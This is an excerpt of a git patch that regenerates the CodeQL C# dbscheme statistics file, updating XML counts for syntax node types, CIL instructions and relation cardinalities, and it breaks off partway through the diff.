Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 17:18:50 +0100 Subject: [PATCH 0874/1241] Add new .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5674 ++++++++--------- 1 file changed, 2831 insertions(+), 2843 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 2795d2ddb57..5cddf1536bb 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ <dbstats> <typesizes><e> <k>@compilation</k> -<v>1096</v> +<v>1095</v> </e> <e> <k>@diagnostic</k> @@ -9,7 +9,7 @@ </e> <e> <k>@extractor_message</k> -<v>7631</v> +<v>7611</v> </e> <e> <k>@externalDefect</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22748</v> +<v>22736</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071909</v> +<v>14071994</v> </e> <e> <k>@assembly</k> -<v>4200</v> +<v>4198</v> </e> <e> <k>@file</k> -<v>42489</v> +<v>42467</v> </e> <e> <k>@folder</k> -<v>16948</v> +<v>16940</v> </e> <e> <k>@namespace</k> -<v>21953</v> +<v>21942</v> </e> <e> <k>@namespace_declaration</k> -<v>19770</v> +<v>19760</v> </e> <e> <k>@using_namespace_directive</k> -<v>144329</v> +<v>144253</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11958</v> +<v>11952</v> </e> <e> <k>@struct_type</k> -<v>49691</v> +<v>49665</v> </e> <e> <k>@class_type</k> -<v>305261</v> +<v>305101</v> </e> <e> <k>@interface_type</k> -<v>178207</v> +<v>178114</v> </e> <e> <k>@delegate_type</k> -<v>107624</v> +<v>107568</v> </e> <e> <k>@null_type</k> @@ -141,7 +141,7 @@ </e> <e> <k>@type_parameter</k> -<v>202705</v> +<v>202599</v> </e> <e> <k>@pointer_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9127</v> +<v>9122</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1783</v> +<v>1782</v> </e> <e> <k>@uint_ptr_type</k> @@ -189,15 +189,15 @@ </e> <e> <k>@typeref</k> -<v>234916</v> +<v>234794</v> </e> <e> <k>@attribute</k> -<v>745807</v> +<v>745432</v> </e> <e> <k>@type_mention</k> -<v>1249451</v> +<v>1248753</v> </e> <e> <k>@oblivious</k> @@ -213,7 +213,7 @@ </e> <e> <k>@type_parameter_constraints</k> -<v>592165</v> +<v>591856</v> </e> <e> <k>@modifier</k> @@ -221,43 +221,43 @@ </e> <e> <k>@property</k> -<v>423752</v> +<v>423531</v> </e> <e> <k>@indexer</k> -<v>17051</v> +<v>17042</v> </e> <e> <k>@getter</k> -<v>440570</v> +<v>440340</v> </e> <e> <k>@setter</k> -<v>127594</v> +<v>127528</v> </e> <e> <k>@event</k> -<v>15238</v> +<v>15230</v> </e> <e> <k>@add_event_accessor</k> -<v>15238</v> +<v>15230</v> </e> <e> <k>@remove_event_accessor</k> -<v>15238</v> +<v>15230</v> </e> <e> <k>@operator</k> -<v>12416</v> +<v>12410</v> </e> <e> <k>@method</k> -<v>1117222</v> +<v>1116872</v> </e> <e> <k>@constructor</k> -<v>277786</v> +<v>277641</v> </e> <e> <k>@destructor</k> @@ -269,15 +269,15 @@ </e> <e> <k>@addressable_field</k> -<v>370664</v> +<v>370470</v> </e> <e> <k>@constant</k> -<v>185312</v> +<v>185215</v> </e> <e> <k>@addressable_local_variable</k> -<v>162451</v> +<v>162452</v> </e> <e> <k>@local_constant</k> @@ -289,19 +289,19 @@ </e> <e> <k>@parameter</k> -<v>2418714</v> +<v>2417684</v> </e> <e> <k>@block_stmt</k> -<v>307795</v> +<v>307634</v> </e> <e> <k>@expr_stmt</k> -<v>367404</v> +<v>367212</v> </e> <e> <k>@return_stmt</k> -<v>94775</v> +<v>94725</v> </e> <e> <k>@using_block_stmt</k> @@ -309,19 +309,19 @@ </e> <e> <k>@var_decl_stmt</k> -<v>147602</v> +<v>147598</v> </e> <e> <k>@if_stmt</k> -<v>118217</v> +<v>118155</v> </e> <e> <k>@switch_stmt</k> -<v>3078</v> +<v>3077</v> </e> <e> <k>@while_stmt</k> -<v>4466</v> +<v>4464</v> </e> <e> <k>@do_stmt</k> @@ -329,23 +329,23 @@ </e> <e> <k>@for_stmt</k> -<v>6824</v> +<v>6820</v> </e> <e> <k>@foreach_stmt</k> -<v>5355</v> +<v>5352</v> </e> <e> <k>@break_stmt</k> -<v>11052</v> +<v>11046</v> </e> <e> <k>@continue_stmt</k> -<v>2227</v> +<v>2226</v> </e> <e> <k>@goto_stmt</k> -<v>2745</v> +<v>2744</v> </e> <e> <k>@goto_case_stmt</k> @@ -357,7 +357,7 @@ </e> <e> <k>@throw_stmt</k> -<v>75459</v> +<v>75420</v> </e> <e> <k>@yield_stmt</k> @@ -365,7 +365,7 @@ </e> <e> <k>@try_stmt</k> -<v>4313</v> +<v>4310</v> </e> <e> <k>@checked_stmt</k> @@ -377,7 +377,7 @@ </e> <e> <k>@lock_stmt</k> -<v>1530</v> +<v>1529</v> </e> <e> <k>@const_decl_stmt</k> @@ -385,7 +385,7 @@ </e> <e> <k>@empty_stmt</k> -<v>353</v> +<v>352</v> </e> <e> <k>@unsafe_stmt</k> @@ -393,19 +393,19 @@ </e> <e> <k>@fixed_stmt</k> -<v>1153</v> +<v>1152</v> </e> <e> <k>@label_stmt</k> -<v>1022</v> +<v>1021</v> </e> <e> <k>@catch</k> -<v>3434</v> +<v>3432</v> </e> <e> <k>@case_stmt</k> -<v>22817</v> +<v>22805</v> </e> <e> <k>@local_function_stmt</k> @@ -417,11 +417,11 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69594</v> +<v>69557</v> </e> <e> <k>@int_literal_expr</k> -<v>755166</v> +<v>753725</v> </e> <e> <k>@long_literal_expr</k> @@ -433,71 +433,71 @@ </e> <e> <k>@string_literal_expr</k> -<v>411862</v> +<v>411647</v> </e> <e> <k>@null_literal_expr</k> -<v>108283</v> +<v>108228</v> </e> <e> <k>@local_variable_access_expr</k> -<v>522593</v> +<v>522589</v> </e> <e> <k>@parameter_access_expr</k> -<v>355221</v> +<v>355035</v> </e> <e> <k>@field_access_expr</k> -<v>459873</v> +<v>459632</v> </e> <e> <k>@property_access_expr</k> -<v>359295</v> +<v>359107</v> </e> <e> <k>@type_access_expr</k> -<v>346635</v> +<v>346630</v> </e> <e> <k>@typeof_expr</k> -<v>30041</v> +<v>30028</v> </e> <e> <k>@method_invocation_expr</k> -<v>547076</v> +<v>547069</v> </e> <e> <k>@cast_expr</k> -<v>265384</v> +<v>265245</v> </e> <e> <k>@object_creation_expr</k> -<v>62782</v> +<v>62749</v> </e> <e> <k>@array_creation_expr</k> -<v>180322</v> +<v>180004</v> </e> <e> <k>@array_init_expr</k> -<v>179872</v> +<v>179553</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163319</v> +<v>163320</v> </e> <e> <k>@char_literal_expr</k> -<v>16253</v> +<v>16245</v> </e> <e> <k>@decimal_literal_expr</k> -<v>91</v> +<v>93</v> </e> <e> <k>@uint_literal_expr</k> -<v>2417</v> +<v>2416</v> </e> <e> <k>@ulong_literal_expr</k> @@ -509,15 +509,15 @@ </e> <e> <k>@this_access_expr</k> -<v>592131</v> +<v>591822</v> </e> <e> <k>@base_access_expr</k> -<v>2852</v> +<v>2851</v> </e> <e> <k>@method_access_expr</k> -<v>9221</v> +<v>9222</v> </e> <e> <k>@event_access_expr</k> @@ -525,19 +525,19 @@ </e> <e> <k>@indexer_access_expr</k> -<v>30774</v> +<v>30758</v> </e> <e> <k>@array_access_expr</k> -<v>19441</v> +<v>19431</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2010</v> +<v>2009</v> </e> <e> <k>@operator_invocation_expr</k> -<v>29952</v> +<v>29946</v> </e> <e> <k>@explicit_delegate_creation_expr</k> @@ -545,11 +545,11 @@ </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5111</v> +<v>5109</v> </e> <e> <k>@default_expr</k> -<v>6171</v> +<v>6168</v> </e> <e> <k>@plus_expr</k> @@ -557,23 +557,23 @@ </e> <e> <k>@minus_expr</k> -<v>7099</v> +<v>7096</v> </e> <e> <k>@bit_not_expr</k> -<v>741</v> +<v>740</v> </e> <e> <k>@log_not_expr</k> -<v>26398</v> +<v>26384</v> </e> <e> <k>@post_incr_expr</k> -<v>12366</v> +<v>12359</v> </e> <e> <k>@post_decr_expr</k> -<v>1704</v> +<v>1703</v> </e> <e> <k>@pre_incr_expr</k> @@ -581,15 +581,15 @@ </e> <e> <k>@pre_decr_expr</k> -<v>408</v> +<v>407</v> </e> <e> <k>@mul_expr</k> -<v>4647</v> +<v>4645</v> </e> <e> <k>@div_expr</k> -<v>1799</v> +<v>1798</v> </e> <e> <k>@rem_expr</k> @@ -597,47 +597,47 @@ </e> <e> <k>@add_expr</k> -<v>27873</v> +<v>27859</v> </e> <e> <k>@sub_expr</k> -<v>12628</v> +<v>12621</v> </e> <e> <k>@lshift_expr</k> -<v>4139</v> +<v>4137</v> </e> <e> <k>@rshift_expr</k> -<v>1770</v> +<v>1769</v> </e> <e> <k>@lt_expr</k> -<v>15991</v> +<v>15983</v> </e> <e> <k>@gt_expr</k> -<v>9421</v> +<v>9416</v> </e> <e> <k>@le_expr</k> -<v>3846</v> +<v>3844</v> </e> <e> <k>@ge_expr</k> -<v>6040</v> +<v>6037</v> </e> <e> <k>@eq_expr</k> -<v>53748</v> +<v>53720</v> </e> <e> <k>@ne_expr</k> -<v>37381</v> +<v>37361</v> </e> <e> <k>@bit_and_expr</k> -<v>6326</v> +<v>6322</v> </e> <e> <k>@bit_xor_expr</k> @@ -645,35 +645,35 @@ </e> <e> <k>@bit_or_expr</k> -<v>15294</v> +<v>15286</v> </e> <e> <k>@log_and_expr</k> -<v>20470</v> +<v>20460</v> </e> <e> <k>@log_or_expr</k> -<v>14057</v> +<v>14050</v> </e> <e> <k>@is_expr</k> -<v>6514</v> +<v>6511</v> </e> <e> <k>@as_expr</k> -<v>2740</v> +<v>2739</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3631</v> +<v>3629</v> </e> <e> <k>@conditional_expr</k> -<v>9011</v> +<v>9007</v> </e> <e> <k>@simple_assign_expr</k> -<v>167291</v> +<v>167204</v> </e> <e> <k>@assign_add_expr</k> @@ -717,7 +717,7 @@ </e> <e> <k>@object_init_expr</k> -<v>7689</v> +<v>7685</v> </e> <e> <k>@collection_init_expr</k> @@ -729,11 +729,11 @@ </e> <e> <k>@unchecked_expr</k> -<v>1427</v> +<v>1426</v> </e> <e> <k>@constructor_init_expr</k> -<v>5821</v> +<v>5818</v> </e> <e> <k>@add_event_expr</k> @@ -749,7 +749,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48795</v> +<v>48769</v> </e> <e> <k>@anonymous_method_expr</k> @@ -765,15 +765,15 @@ </e> <e> <k>@dynamic_member_access_expr</k> -<v>6846</v> +<v>6843</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4159</v> +<v>4157</v> </e> <e> <k>@address_of_expr</k> -<v>1295</v> +<v>1294</v> </e> <e> <k>@sizeof_expr</k> @@ -781,15 +781,15 @@ </e> <e> <k>@await_expr</k> -<v>54779</v> +<v>54750</v> </e> <e> <k>@nameof_expr</k> -<v>15652</v> +<v>15644</v> </e> <e> <k>@interpolated_string_expr</k> -<v>3044</v> +<v>3042</v> </e> <e> <k>@unknown_expr</k> @@ -797,7 +797,7 @@ </e> <e> <k>@throw_expr</k> -<v>1533</v> +<v>1532</v> </e> <e> <k>@tuple_expr</k> @@ -805,7 +805,7 @@ </e> <e> <k>@local_function_invocation_expr</k> -<v>7489</v> +<v>7490</v> </e> <e> <k>@ref_expr</k> @@ -813,7 +813,7 @@ </e> <e> <k>@discard_expr</k> -<v>902</v> +<v>903</v> </e> <e> <k>@range_expr</k> @@ -829,11 +829,11 @@ </e> <e> <k>@recursive_pattern_expr</k> -<v>1004</v> +<v>1011</v> </e> <e> <k>@property_pattern_expr</k> -<v>829</v> +<v>836</v> </e> <e> <k>@positional_pattern_expr</k> @@ -841,7 +841,7 @@ </e> <e> <k>@switch_case_expr</k> -<v>4353</v> +<v>4350</v> </e> <e> <k>@assign_coalesce_expr</k> @@ -849,7 +849,7 @@ </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>13910</v> +<v>13902</v> </e> <e> <k>@namespace_access_expr</k> @@ -857,11 +857,11 @@ </e> <e> <k>@lt_pattern_expr</k> -<v>1</v> +<v>2</v> </e> <e> <k>@gt_pattern_expr</k> -<v>2</v> +<v>5</v> </e> <e> <k>@le_pattern_expr</k> @@ -876,6 +876,14 @@ <v>71</v> </e> <e> +<k>@and_pattern_expr</k> +<v>3</v> +</e> +<e> +<k>@or_pattern_expr</k> +<v>34</v> +</e> +<e> <k>@function_pointer_invocation_expr</k> <v>4</v> </e> @@ -905,19 +913,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>189385</v> +<v>189286</v> </e> <e> <k>@multilinecomment</k> -<v>22666</v> +<v>22654</v> </e> <e> <k>@xmldoccomment</k> -<v>208857</v> +<v>208748</v> </e> <e> <k>@commentblock</k> -<v>147943</v> +<v>147866</v> </e> <e> <k>@asp_close_tag</k> @@ -957,7 +965,7 @@ </e> <e> <k>@cil_nop</k> -<v>840983</v> +<v>840543</v> </e> <e> <k>@cil_break</k> @@ -965,147 +973,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3971760</v> +<v>3969685</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1215597</v> +<v>1214962</v> </e> <e> <k>@cil_ldarg_2</k> -<v>443489</v> +<v>443257</v> </e> <e> <k>@cil_ldarg_3</k> -<v>208981</v> +<v>208872</v> </e> <e> <k>@cil_ldloc_0</k> -<v>928444</v> +<v>927959</v> </e> <e> <k>@cil_ldloc_1</k> -<v>493493</v> +<v>493235</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288468</v> +<v>288317</v> </e> <e> <k>@cil_ldloc_3</k> -<v>191891</v> +<v>191791</v> </e> <e> <k>@cil_stloc_0</k> -<v>524506</v> +<v>524232</v> </e> <e> <k>@cil_stloc_1</k> -<v>260281</v> +<v>260145</v> </e> <e> <k>@cil_stloc_2</k> -<v>198138</v> +<v>198035</v> </e> <e> <k>@cil_stloc_3</k> -<v>138179</v> +<v>138107</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264287</v> +<v>264149</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74705</v> +<v>74666</v> </e> <e> <k>@cil_starg_s</k> -<v>37143</v> +<v>37124</v> </e> <e> <k>@cil_ldloc_s</k> -<v>685779</v> +<v>685421</v> </e> <e> <k>@cil_ldloca_s</k> -<v>628704</v> +<v>628376</v> </e> <e> <k>@cil_stloc_s</k> -<v>480433</v> +<v>480182</v> </e> <e> <k>@cil_ldnull</k> -<v>603203</v> +<v>602888</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>126093</v> +<v>126027</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>625049</v> +<v>624723</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>494233</v> +<v>493975</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>120928</v> +<v>120865</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>64097</v> +<v>64063</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58829</v> +<v>58798</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38649</v> +<v>38629</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23245</v> +<v>23232</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20735</v> +<v>20724</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33454</v> +<v>33436</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>422973</v> +<v>422752</v> </e> <e> <k>@cil_ldc_i4</k> -<v>510417</v> +<v>510151</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4882</v> +<v>4880</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10253</v> +<v>10247</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10321</v> +<v>10316</v> </e> <e> <k>@cil_dup</k> -<v>841472</v> +<v>841033</v> </e> <e> <k>@cil_pop</k> -<v>256246</v> +<v>256113</v> </e> <e> <k>@cil_jmp</k> @@ -1113,7 +1121,7 @@ </e> <e> <k>@cil_call</k> -<v>2739477</v> +<v>2738046</v> </e> <e> <k>@cil_calli</k> @@ -1121,55 +1129,55 @@ </e> <e> <k>@cil_ret</k> -<v>1785151</v> +<v>1784218</v> </e> <e> <k>@cil_br_s</k> -<v>345567</v> +<v>345387</v> </e> <e> <k>@cil_brfalse_s</k> -<v>465628</v> +<v>465385</v> </e> <e> <k>@cil_brtrue_s</k> -<v>430395</v> +<v>430170</v> </e> <e> <k>@cil_beq_s</k> -<v>82200</v> +<v>82158</v> </e> <e> <k>@cil_bge_s</k> -<v>34901</v> +<v>34883</v> </e> <e> <k>@cil_bgt_s</k> -<v>16485</v> +<v>16477</v> </e> <e> <k>@cil_ble_s</k> -<v>29180</v> +<v>29165</v> </e> <e> <k>@cil_blt_s</k> -<v>60890</v> +<v>60858</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102585</v> +<v>102531</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2183</v> +<v>2182</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8727</v> +<v>8723</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6115</v> +<v>6112</v> </e> <e> <k>@cil_blt_un_s</k> @@ -1177,19 +1185,19 @@ </e> <e> <k>@cil_br</k> -<v>96089</v> +<v>96039</v> </e> <e> <k>@cil_brfalse</k> -<v>32372</v> +<v>32355</v> </e> <e> <k>@cil_brtrue</k> -<v>27314</v> +<v>27299</v> </e> <e> <k>@cil_beq</k> -<v>21495</v> +<v>21484</v> </e> <e> <k>@cil_bge</k> @@ -1201,15 +1209,15 @@ </e> <e> <k>@cil_ble</k> -<v>4639</v> +<v>4636</v> </e> <e> <k>@cil_blt</k> -<v>7928</v> +<v>7924</v> </e> <e> <k>@cil_bne_un</k> -<v>7231</v> +<v>7228</v> </e> <e> <k>@cil_bge_un</k> @@ -1221,7 +1229,7 @@ </e> <e> <k>@cil_ble_un</k> -<v>1101</v> +<v>1100</v> </e> <e> <k>@cil_blt_un</k> @@ -1229,7 +1237,7 @@ </e> <e> <k>@cil_switch</k> -<v>23864</v> +<v>23851</v> </e> <e> <k>@cil_ldind_i1</k> @@ -1237,7 +1245,7 @@ </e> <e> <k>@cil_ldind_u1</k> -<v>5506</v> +<v>5503</v> </e> <e> <k>@cil_ldind_i2</k> @@ -1245,19 +1253,19 @@ </e> <e> <k>@cil_ldind_u2</k> -<v>2507</v> +<v>2505</v> </e> <e> <k>@cil_ldind_i4</k> -<v>9770</v> +<v>9765</v> </e> <e> <k>@cil_ldind_u4</k> -<v>1481</v> +<v>1480</v> </e> <e> <k>@cil_ldind_i8</k> -<v>1968</v> +<v>1967</v> </e> <e> <k>@cil_ldind_i</k> @@ -1273,27 +1281,27 @@ </e> <e> <k>@cil_ldind_ref</k> -<v>6651</v> +<v>6648</v> </e> <e> <k>@cil_stind_ref</k> -<v>16924</v> +<v>16915</v> </e> <e> <k>@cil_stind_i1</k> -<v>8518</v> +<v>8513</v> </e> <e> <k>@cil_stind_i2</k> -<v>1411</v> +<v>1410</v> </e> <e> <k>@cil_stind_i4</k> -<v>10355</v> +<v>10350</v> </e> <e> <k>@cil_stind_i8</k> -<v>2344</v> +<v>2342</v> </e> <e> <k>@cil_stind_r4</k> @@ -1305,19 +1313,19 @@ </e> <e> <k>@cil_add</k> -<v>223830</v> +<v>223713</v> </e> <e> <k>@cil_sub</k> -<v>85227</v> +<v>85182</v> </e> <e> <k>@cil_mul</k> -<v>29931</v> +<v>29915</v> </e> <e> <k>@cil_div</k> -<v>9117</v> +<v>9112</v> </e> <e> <k>@cil_div_un</k> @@ -1325,43 +1333,43 @@ </e> <e> <k>@cil_rem</k> -<v>3406</v> +<v>3404</v> </e> <e> <k>@cil_rem_un</k> -<v>229</v> +<v>228</v> </e> <e> <k>@cil_and</k> -<v>59296</v> +<v>59265</v> </e> <e> <k>@cil_or</k> -<v>22134</v> +<v>22122</v> </e> <e> <k>@cil_xor</k> -<v>22699</v> +<v>22687</v> </e> <e> <k>@cil_shl</k> -<v>18956</v> +<v>18946</v> </e> <e> <k>@cil_shr</k> -<v>9171</v> +<v>9166</v> </e> <e> <k>@cil_shr_un</k> -<v>26091</v> +<v>26077</v> </e> <e> <k>@cil_neg</k> -<v>2334</v> +<v>2333</v> </e> <e> <k>@cil_not</k> -<v>1457</v> +<v>1456</v> </e> <e> <k>@cil_conv_i1</k> @@ -1369,35 +1377,35 @@ </e> <e> <k>@cil_conv_i2</k> -<v>1447</v> +<v>1446</v> </e> <e> <k>@cil_conv_i4</k> -<v>59740</v> +<v>59709</v> </e> <e> <k>@cil_conv_i8</k> -<v>50257</v> +<v>50230</v> </e> <e> <k>@cil_conv_r4</k> -<v>2465</v> +<v>2464</v> </e> <e> <k>@cil_conv_r8</k> -<v>5277</v> +<v>5274</v> </e> <e> <k>@cil_conv_u4</k> -<v>7826</v> +<v>7822</v> </e> <e> <k>@cil_conv_u8</k> -<v>19531</v> +<v>19521</v> </e> <e> <k>@cil_callvirt</k> -<v>2049088</v> +<v>2048017</v> </e> <e> <k>@cil_cpobj</k> @@ -1405,23 +1413,23 @@ </e> <e> <k>@cil_ldobj</k> -<v>12645</v> +<v>12639</v> </e> <e> <k>@cil_ldstr</k> -<v>926149</v> +<v>925665</v> </e> <e> <k>@cil_newobj</k> -<v>656647</v> +<v>656304</v> </e> <e> <k>@cil_castclass</k> -<v>97005</v> +<v>96955</v> </e> <e> <k>@cil_isinst</k> -<v>56412</v> +<v>56382</v> </e> <e> <k>@cil_conv_r_un</k> @@ -1429,39 +1437,39 @@ </e> <e> <k>@cil_unbox</k> -<v>136</v> +<v>135</v> </e> <e> <k>@cil_throw</k> -<v>380980</v> +<v>380781</v> </e> <e> <k>@cil_ldfld</k> -<v>1675616</v> +<v>1674741</v> </e> <e> <k>@cil_ldflda</k> -<v>300510</v> +<v>300353</v> </e> <e> <k>@cil_stfld</k> -<v>1072403</v> +<v>1071843</v> </e> <e> <k>@cil_ldsfld</k> -<v>407076</v> +<v>406864</v> </e> <e> <k>@cil_ldsflda</k> -<v>2529</v> +<v>2527</v> </e> <e> <k>@cil_stsfld</k> -<v>130835</v> +<v>130767</v> </e> <e> <k>@cil_stobj</k> -<v>7017</v> +<v>7013</v> </e> <e> <k>@cil_conv_ovf_i1_un</k> @@ -1505,19 +1513,19 @@ </e> <e> <k>@cil_box</k> -<v>79788</v> +<v>79747</v> </e> <e> <k>@cil_newarr</k> -<v>112039</v> +<v>111980</v> </e> <e> <k>@cil_ldlen</k> -<v>55296</v> +<v>55267</v> </e> <e> <k>@cil_ldelema</k> -<v>9863</v> +<v>9858</v> </e> <e> <k>@cil_ldelem_i1</k> @@ -1525,7 +1533,7 @@ </e> <e> <k>@cil_ldelem_u1</k> -<v>15564</v> +<v>15556</v> </e> <e> <k>@cil_ldelem_i2</k> @@ -1533,19 +1541,19 @@ </e> <e> <k>@cil_ldelem_u2</k> -<v>6086</v> +<v>6083</v> </e> <e> <k>@cil_ldelem_i4</k> -<v>17572</v> +<v>17563</v> </e> <e> <k>@cil_ldelem_u4</k> -<v>19102</v> +<v>19092</v> </e> <e> <k>@cil_ldelem_i8</k> -<v>11914</v> +<v>11908</v> </e> <e> <k>@cil_ldelem_i</k> @@ -1557,11 +1565,11 @@ </e> <e> <k>@cil_ldelem_r8</k> -<v>458</v> +<v>457</v> </e> <e> <k>@cil_ldelem_ref</k> -<v>30681</v> +<v>30665</v> </e> <e> <k>@cil_stelem_i</k> @@ -1569,19 +1577,19 @@ </e> <e> <k>@cil_stelem_i1</k> -<v>8786</v> +<v>8781</v> </e> <e> <k>@cil_stelem_i2</k> -<v>8981</v> +<v>8976</v> </e> <e> <k>@cil_stelem_i4</k> -<v>22811</v> +<v>22799</v> </e> <e> <k>@cil_stelem_i8</k> -<v>9419</v> +<v>9414</v> </e> <e> <k>@cil_stelem_r4</k> @@ -1593,19 +1601,19 @@ </e> <e> <k>@cil_stelem_ref</k> -<v>362716</v> +<v>362526</v> </e> <e> <k>@cil_ldelem</k> -<v>2275</v> +<v>2274</v> </e> <e> <k>@cil_stelem</k> -<v>53585</v> +<v>53557</v> </e> <e> <k>@cil_unbox_any</k> -<v>14380</v> +<v>14373</v> </e> <e> <k>@cil_conv_ovf_i1</k> @@ -1653,23 +1661,23 @@ </e> <e> <k>@cil_ldtoken</k> -<v>71270</v> +<v>71233</v> </e> <e> <k>@cil_conv_u2</k> -<v>4337</v> +<v>4334</v> </e> <e> <k>@cil_conv_u1</k> -<v>11252</v> +<v>11246</v> </e> <e> <k>@cil_conv_i</k> -<v>3756</v> +<v>3754</v> </e> <e> <k>@cil_conv_ovf_i</k> -<v>268</v> +<v>267</v> </e> <e> <k>@cil_conv_ovf_u</k> @@ -1681,7 +1689,7 @@ </e> <e> <k>@cil_add_ovf_un</k> -<v>151</v> +<v>150</v> </e> <e> <k>@cil_mul_ovf</k> @@ -1693,7 +1701,7 @@ </e> <e> <k>@cil_sub_ovf</k> -<v>1111</v> +<v>1110</v> </e> <e> <k>@cil_sub_ovf_un</k> @@ -1701,15 +1709,15 @@ </e> <e> <k>@cil_endfinally</k> -<v>56865</v> +<v>56835</v> </e> <e> <k>@cil_leave</k> -<v>66821</v> +<v>66786</v> </e> <e> <k>@cil_leave_s</k> -<v>149251</v> +<v>149173</v> </e> <e> <k>@cil_stind_i</k> @@ -1717,7 +1725,7 @@ </e> <e> <k>@cil_conv_u</k> -<v>5957</v> +<v>5954</v> </e> <e> <k>@cil_arglist</k> @@ -1725,19 +1733,19 @@ </e> <e> <k>@cil_ceq</k> -<v>99466</v> +<v>99414</v> </e> <e> <k>@cil_cgt</k> -<v>11864</v> +<v>11858</v> </e> <e> <k>@cil_cgt_un</k> -<v>37653</v> +<v>37633</v> </e> <e> <k>@cil_clt</k> -<v>20024</v> +<v>20013</v> </e> <e> <k>@cil_clt_un</k> @@ -1745,11 +1753,11 @@ </e> <e> <k>@cil_ldftn</k> -<v>79881</v> +<v>79839</v> </e> <e> <k>@cil_ldvirtftn</k> -<v>1111</v> +<v>1110</v> </e> <e> <k>@cil_ldarg</k> @@ -1777,7 +1785,7 @@ </e> <e> <k>@cil_localloc</k> -<v>1003</v> +<v>1002</v> </e> <e> <k>@cil_endfilter</k> @@ -1789,7 +1797,7 @@ </e> <e> <k>@cil_volatile</k> -<v>8532</v> +<v>8528</v> </e> <e> <k>@cil_tail</k> @@ -1797,11 +1805,11 @@ </e> <e> <k>@cil_initobj</k> -<v>101713</v> +<v>101660</v> </e> <e> <k>@cil_constrained</k> -<v>25296</v> +<v>25283</v> </e> <e> <k>@cil_cpblk</k> @@ -1813,7 +1821,7 @@ </e> <e> <k>@cil_rethrow</k> -<v>3766</v> +<v>3765</v> </e> <e> <k>@cil_sizeof</k> @@ -1829,15 +1837,15 @@ </e> <e> <k>@cil_valueorreftype</k> -<v>595527</v> +<v>595251</v> </e> <e> <k>@cil_typeparameter</k> -<v>184849</v> +<v>184753</v> </e> <e> <k>@cil_array_type</k> -<v>14176</v> +<v>14168</v> </e> <e> <k>@cil_pointer_type</k> @@ -1849,35 +1857,35 @@ </e> <e> <k>@cil_method</k> -<v>2312956</v> +<v>2311748</v> </e> <e> <k>@cil_method_implementation</k> -<v>1726604</v> +<v>1725702</v> </e> <e> <k>@cil_field</k> -<v>1008837</v> +<v>1008310</v> </e> <e> <k>@cil_parameter</k> -<v>4548828</v> +<v>4546452</v> </e> <e> <k>@cil_property</k> -<v>380094</v> +<v>379895</v> </e> <e> <k>@cil_event</k> -<v>20852</v> +<v>20841</v> </e> <e> <k>@cil_local_variable</k> -<v>1151207</v> +<v>1150606</v> </e> <e> <k>@cil_catch_handler</k> -<v>43829</v> +<v>43806</v> </e> <e> <k>@cil_filter_handler</k> @@ -1885,24 +1893,24 @@ </e> <e> <k>@cil_finally_handler</k> -<v>55393</v> +<v>55364</v> </e> <e> <k>@cil_fault_handler</k> -<v>1471</v> +<v>1470</v> </e> <e> <k>@cil_attribute</k> -<v>328433</v> +<v>328261</v> </e> </typesizes> <stats><relation> <name>compilations</name> -<cardinality>1096</cardinality> +<cardinality>1095</cardinality> <columnsizes> <e> <k>id</k> -<v>1096</v> +<v>1095</v> </e> <e> <k>cwd</k> @@ -1920,7 +1928,7 @@ <b> <a>1</a> <b>2</b> -<v>1096</v> +<v>1095</v> </b> </bs> </hist> @@ -1951,11 +1959,11 @@ </relation> <relation> <name>compilation_args</name> -<cardinality>4585</cardinality> +<cardinality>4904</cardinality> <columnsizes> <e> <k>id</k> -<v>1096</v> +<v>1095</v> </e> <e> <k>num</k> @@ -1977,12 +1985,12 @@ <b> <a>4</a> <b>5</b> -<v>896</v> +<v>574</v> </b> <b> <a>5</a> <b>6</b> -<v>199</v> +<v>521</v> </b> </bs> </hist> @@ -1998,12 +2006,12 @@ <b> <a>4</a> <b>5</b> -<v>896</v> +<v>574</v> </b> <b> <a>5</a> <b>6</b> -<v>199</v> +<v>521</v> </b> </bs> </hist> @@ -2017,8 +2025,8 @@ <budget>12</budget> <bs> <b> -<a>41</a> -<b>42</b> +<a>107</a> 